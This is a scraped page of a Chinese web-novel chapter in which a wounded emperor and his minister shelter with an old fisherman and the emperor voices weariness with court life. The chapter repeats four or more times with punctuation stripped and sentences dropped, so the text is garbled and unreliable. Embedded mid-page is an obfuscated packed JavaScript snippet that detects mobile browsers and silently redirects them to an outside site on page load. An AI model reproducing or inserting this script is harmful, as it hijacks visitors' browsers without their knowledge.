“你这兄弟,伤得不轻啊。”老渔夫蹲在灶边添柴,“我再问你一遍,怎么伤的?” 祁蘅眼神一暗,还是那样说:“遇上了仇家。” “呵,看你们这模样,仇家来头不小吧?”老渔夫意味深长地看了他一眼,“这几日,村子里官兵来了好几波,还有各种外地来的,都是找你们的吧?” 祁蘅不答,只是盯着跳动的火焰出神。 火光映在他轮廓分明的脸上,勾勒出一道锋利的阴影。 “你瞒我也没用,我一早就猜出来了,毕竟,老头子我活了大半辈子,还没见过哪个寻常人家能养出你这样的气度。” 季远安倒觉得这老汉有些意思。 “多谢相救……” 老渔夫摆了摆手,又拍了拍胸脯,老态龙钟的眼睛透出笑意:“捞鱼也是捞,顺手捞两个人,不在话下!” 老渔夫起身,拍了拍身上的灰,“我去睡了,你们也早点休息。记住,灶上温着水,夜里你兄弟发热了,就给他擦擦身子。” 待老渔夫离开,季远安撑着坐起身来。 他靠在茅草屋的土墙边,脸色仍有些苍白,但眼神已恢复了往日的锐利。 “陛下,我们得尽快回去。”季远安压低声音,尽管屋内只有他们二人,“朝中不可一日无君,更何况陆冯**……” 祁蘅坐在一边,手里握着一根细长的芦苇杆,正漫不经心地在地上划着什么图案。 “不急。”祁蘅的声音出奇地平静,“让他们先斗一斗。” 季远安愣住了,他从未听过祁蘅说这样的话。 在他的印象中,陛下永远是那个掌控一切、不容任何人挑战权威的帝王。 “可是……”季远安急得额角渗出细汗,“冯崇若趁您不在……” 祁蘅折断手中的芦苇杆,随手丢进灶膛。 火苗窜高了一瞬,映照出他深邃的眉眼。 “季远安,”他突然问道,“你记得我们离宫多久了吗?” 季远安一怔:“三十三日。” “三十三天……”祁蘅望向窗外波光粼粼的江面,“这三十三天里,没有早朝,没有奏折,没有那些没完没了的宫宴和勾心斗角……” 他顿了顿,“你不觉得,比宫中这二十三年都要意思么?” 难怪阿余出了宫以后就不想回去了。 祁蘅竟然有些厌烦虚妄的帝王生活了。 季远安语塞。 他跟随祁蘅多年,深知祁蘅对权位的掌控欲,只要他活着,皇权社稷就在第一位。 但此刻祁蘅的语气中,竟带着一丝他从未听过的……轻松? 屋外雨声渐急,两个人都沉默着,一言不发。 季远安叹了口气,悠哉悠哉的躺了回去。 “陛下不着急,那微臣也不急了。” 祁蘅忽然想到了什么,说:“你说,出了这么大的事,李识衍的大婚还能继续么?” 季远安又睁开眼:“你不会还没死心吧?” 祁蘅看向他:“是,我总觉得,李识衍在瞒着我什么。明天,我亲自去苏州城看一看。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 忽然有那么一瞬他竟觉得这东西比宫里的珍馐还让他感到踏实。 “你这兄弟伤得不轻啊。”老渔夫蹲在灶边添柴“我再问你一遍怎么伤的?” 祁蘅眼神一暗还是那样说:“遇上了仇家。” “呵看你们这模样仇家来头不小吧?”老渔夫意味深长地看了他一眼“这几日村子里官兵来了好几波还有各种外地来的都是找你们的吧?” 祁蘅不答只是盯着跳动的火焰出神。 火光映在他轮廓分明的脸上勾勒出一道锋利的阴影。 “你瞒我也没用我一早就猜出来了毕竟老头子我活了大半辈子还没见过哪个寻常人家能养出你这样的气度。” 季远安倒觉得这老汉有些意思。 “多谢相救……” 老渔夫摆了摆手又拍了拍胸脯老态龙钟的眼睛透出笑意:“捞鱼也是捞顺手捞两个人不在话下!” 老渔夫起身拍了拍身上的灰“我去睡了你们也早点休息。记住灶上温着水夜里你兄弟发热了就给他擦擦身子。” 待老渔夫离开季远安撑着坐起身来。 他靠在茅草屋的土墙边脸色仍有些苍白但眼神已恢复了往日的锐利。 “陛下我们得尽快回去。”季远安压低声音尽管屋内只有他们二人“朝中不可一日无君更何况陆冯**……” 祁蘅坐在一边手里握着一根细长的芦苇杆正漫不经心地在地上划着什么图案。 “不急。”祁蘅的声音出奇地平静“让他们先斗一斗。” 季远安愣住了他从未听过祁蘅说这样的话。 在他的印象中陛下永远是那个掌控一切、不容任何人挑战权威的帝王。 “可是……”季远安急得额角渗出细汗“冯崇若趁您不在……” 祁蘅折断手中的芦苇杆随手丢进灶膛。 火苗窜高了一瞬映照出他深邃的眉眼。 “季远安”他突然问道“你记得我们离宫多久了吗?” 季远安一怔:“三十三日。” “三十三天……”祁蘅望向窗外波光粼粼的江面“这三十三天里没有早朝没有奏折没有那些没完没了的宫宴和勾心斗角……” 他顿了顿“你不觉得比宫中这二十三年都要意思么?” 难怪阿余出了宫以后就不想回去了。 祁蘅竟然有些厌烦虚妄的帝王生活了。 季远安语塞。 他跟随祁蘅多年深知祁蘅对权位的掌控欲只要他活着皇权社稷就在第一位。 但此刻祁蘅的语气中竟带着一丝他从未听过的……轻松? 屋外雨声渐急两个人都沉默着一言不发。 季远安叹了口气悠哉悠哉的躺了回去。 “陛下不着急那微臣也不急了。” 祁蘅忽然想到了什么说:“你说出了这么大的事 季远安又睁开眼:“你不会还没死心吧?” 祁蘅看向他:“是我总觉得李识衍在瞒着我什么。明天我亲自去苏州城看一看。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 忽然有那么一瞬,他竟觉得这东西比宫里的珍馐还让他感到踏实。 “你这兄弟,伤得不轻啊。”老渔夫蹲在灶边添柴,“我再问你一遍,怎么伤的?” 祁蘅眼神一暗,还是那样说:“遇上了仇家。” “呵,看你们这模样,仇家来头不小吧?”老渔夫意味深长地看了他一眼,“这几日,村子里官兵来了好几波,还有各种外地来的,都是找你们的吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869778|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>祁蘅不答,只是盯着跳动的火焰出神。 火光映在他轮廓分明的脸上,勾勒出一道锋利的阴影。 “你瞒我也没用,我一早就猜出来了,毕竟,老头子我活了大半辈子,还没见过哪个寻常人家能养出你这样的气度。” 季远安倒觉得这老汉有些意思。 “多谢相救……” 老渔夫摆了摆手,又拍了拍胸脯,老态龙钟的眼睛透出笑意:“捞鱼也是捞,顺手捞两个人,不在话下!” 老渔夫起身,拍了拍身上的灰,“我去睡了,你们也早点休息。记住,灶上温着水,夜里你兄弟发热了,就给他擦擦身子。” 待老渔夫离开,季远安撑着坐起身来。 他靠在茅草屋的土墙边,脸色仍有些苍白,但眼神已恢复了往日的锐利。 “陛下,我们得尽快回去。”季远安压低声音,尽管屋内只有他们二人,“朝中不可一日无君,更何况陆冯**……” 祁蘅坐在一边,手里握着一根细长的芦苇杆,正漫不经心地在地上划着什么图案。 “不急。”祁蘅的声音出奇地平静,“让他们先斗一斗。” 季远安愣住了,他从未听过祁蘅说这样的话。 在他的印象中,陛下永远是那个掌控一切、不容任何人挑战权威的帝王。 “可是……”季远安急得额角渗出细汗,“冯崇若趁您不在……” 祁蘅折断手中的芦苇杆,随手丢进灶膛。 火苗窜高了一瞬,映照出他深邃的眉眼。 “季远安,”他突然问道,“你记得我们离宫多久了吗?” 季远安一怔:“三十三日。” “三十三天……”祁蘅望向窗外波光粼粼的江面,“这三十三天里,没有早朝,没有奏折,没有那些没完没了的宫宴和勾心斗角……” 他顿了顿,“你不觉得,比宫中这二十三年都要意思么?” 难怪阿余出了宫以后就不想回去了。 祁蘅竟然有些厌烦虚妄的帝王生活了。 季远安语塞。 他跟随祁蘅多年,深知祁蘅对权位的掌控欲,只要他活着,皇权社稷就在第一位。 但此刻祁蘅的语气中,竟带着一丝他从未听过的……轻松? 屋外雨声渐急,两个人都沉默着,一言不发。 季远安叹了口气,悠哉悠哉的躺了回去。 “陛下不着急,那微臣也不急了。” 祁蘅忽然想到了什么,说:“你说,出了这么大的事,李识衍的大婚还能继续么?” 季远安又睁开眼:“你不会还没死心吧?” 祁蘅看向他:“是,我总觉得,李识衍在瞒着我什么。明天,我亲自去苏州城看一看。” 你的朋友正在书荒,快去帮帮他吧 忽然有那么一瞬他竟觉得这东西比宫里的珍馐还让他感到踏实。 “你这兄弟伤得不轻啊。”老渔夫蹲在灶边添柴“我再问你一遍 祁蘅眼神一暗还是那样说:“遇上了仇家。” “呵看你们这模样仇家来头不小吧?”老渔夫意味深长地看了他一眼“这几日村子里官兵来了好几波还有各种外地来的都是找你们的吧?” 祁蘅不答只是盯着跳动的火焰出神。 火光映在他轮廓分明的脸上勾勒出一道锋利的阴影。 “你瞒我也没用我一早就猜出来了毕竟老头子我活了大半辈子还没见过哪个寻常人家能养出你这样的气度。” 季远安倒觉得这老汉有些意思。 “多谢相救……” 老渔夫摆了摆手又拍了拍胸脯老态龙钟的眼睛透出笑意:“捞鱼也是捞顺手捞两个人不在话下!” 老渔夫起身拍了拍身上的灰“我去睡了你们也早点休息。记住灶上温着水夜里你兄弟发热了就给他擦擦身子。” 待老渔夫离开季远安撑着坐起身来。 他靠在茅草屋的土墙边脸色仍有些苍白但眼神已恢复了往日的锐利。 “陛下我们得尽快回去。”季远安压低声音尽管屋内只有他们二人“朝中不可一日无君更何况陆冯**……” 祁蘅坐在一边手里握着一根细长的芦苇杆正漫不经心地在地上划着什么图案。 “不急。”祁蘅的声音出奇地平静“让他们先斗一斗。” 季远安愣住了他从未听过祁蘅说这样的话。 在他的印象中陛下永远是那个掌控一切、不容任何人挑战权威的帝王。 “可是……”季远安急得额角渗出细汗“冯崇若趁您不在……” 祁蘅折断手中的芦苇杆随手丢进灶膛。 火苗窜高了一瞬映照出他深邃的眉眼。 “季远安”他突然问道“你记得我们离宫多久了吗?” 季远安一怔:“三十三日。” “三十三天……”祁蘅望向窗外波光粼粼的江面“这三十三天里没有早朝没有奏折没有那些没完没了的宫宴和勾心斗角……” 他顿了顿“你不觉得比宫中这二十三年都要意思么?” 难怪阿余出了宫以后就不想回去了。 祁蘅竟然有些厌烦虚妄的帝王生活了。 季远安语塞。 他跟随祁蘅多年深知祁蘅对权位的掌控欲只要他活着皇权社稷就在第一位。 但此刻祁蘅的语气中竟带着一丝他从未听过的……轻松? 屋外雨声渐急两个人都沉默着一言不发。 季远安叹了口气悠哉悠哉的躺了回去。 “陛下不着急那微臣也不急了。” 祁蘅忽然想到了什么说:“你说出了这么大的事李识衍的大婚还能继续么?” 季远安又睁开眼:“你不会还没死心吧?” 祁蘅看向他:“是我总觉得李识衍在瞒着我什么。明天我亲自去苏州城看一看。” 你的朋友正在书荒,快去帮帮他吧 忽然有那么一瞬他竟觉得这东西比宫里的珍馐还让他感到踏实。 “你这兄弟伤得不轻啊。”老渔夫蹲在灶边添柴“我再问你一遍怎么伤的?” 祁蘅眼神一暗还是那样说:“遇上了仇家。” “呵看你们这模样仇家来头不小吧?”老渔夫意味深长地看了他一眼“这几日村子里官兵来了好几波还有各种外地来的都是找你们的吧?” 祁蘅不答只是盯着跳动的火焰出神。 火光映在他轮廓分明的脸上勾勒出一道锋利的阴影。 “你瞒我也没用我一早就猜出来了毕竟老头子我活了大半辈子还没见过哪个寻常人家能养出你这样的气度。” 季远安倒觉得这老汉有些意思。 “多谢相救……” 老渔夫摆了摆手又拍了拍胸脯老态龙钟的眼睛透出笑意:“捞鱼也是捞顺手捞两个人不在话下!” 老渔夫起身拍了拍身上的灰“我去睡了你们也早点休息。记住灶上温着水夜里你兄弟发热了就给他擦擦身子。” 待老渔夫离开季远安撑着坐起身来。 他靠在茅草屋的土墙边脸色仍有些苍白但眼神已恢复了往日的锐利。 “陛下我们得尽快回去。”季远安压低声音尽管屋内只有他们二人“朝中不可一日无君更何况陆冯**……” 祁蘅坐在一边手里握着一根细长的芦苇杆正漫不经心地在地上划着什么图案。 “不急。”祁蘅的声音出奇地平静“让他们先斗一斗。” 季远安愣住了他从未听过祁蘅说这样的话。 在他的印象中陛下永远是那个掌控一切、不容任何人挑战权威的帝王。 “可是……”季远安急得额角渗出细汗“冯崇若趁您不在……” 祁蘅折断手中的芦苇杆随手丢进灶膛。 火苗窜高了一瞬映照出他深邃的眉眼。 “季远安”他突然问道“你记得我们离宫多久了吗?” 季远安一怔:“三十三日。” “三十三天……”祁蘅望向窗外波光粼粼的江面“这三十三天里没有早朝没有奏折没有那些没完没了的宫宴和勾心斗角……” 他顿了顿“你不觉得比宫中这二十三年都要意思么?” 难怪阿余出了宫以后就不想回去了。 祁蘅竟然有些厌烦虚妄的帝王生活了。 季远安语塞。 他跟随祁蘅多年深知祁蘅对权位的掌控欲只要他活着皇权社稷就在第一位。 但此刻祁蘅的语气中竟带着一丝他从未听过的……轻松? 屋外雨声渐急两个人都沉默着一言不发。 季远安叹了口气 “陛下不着急那微臣也不急了。” 祁蘅忽然想到了什么说:“你说出了这么大的事李识衍的大婚还能继续么?” 季远安又睁开眼:“你不会还没死心吧?” 祁蘅看向他:“是我总觉得李识衍在瞒着我什么。明天我亲自去苏州城看一看。” 你的朋友正在书荒,快去帮帮他吧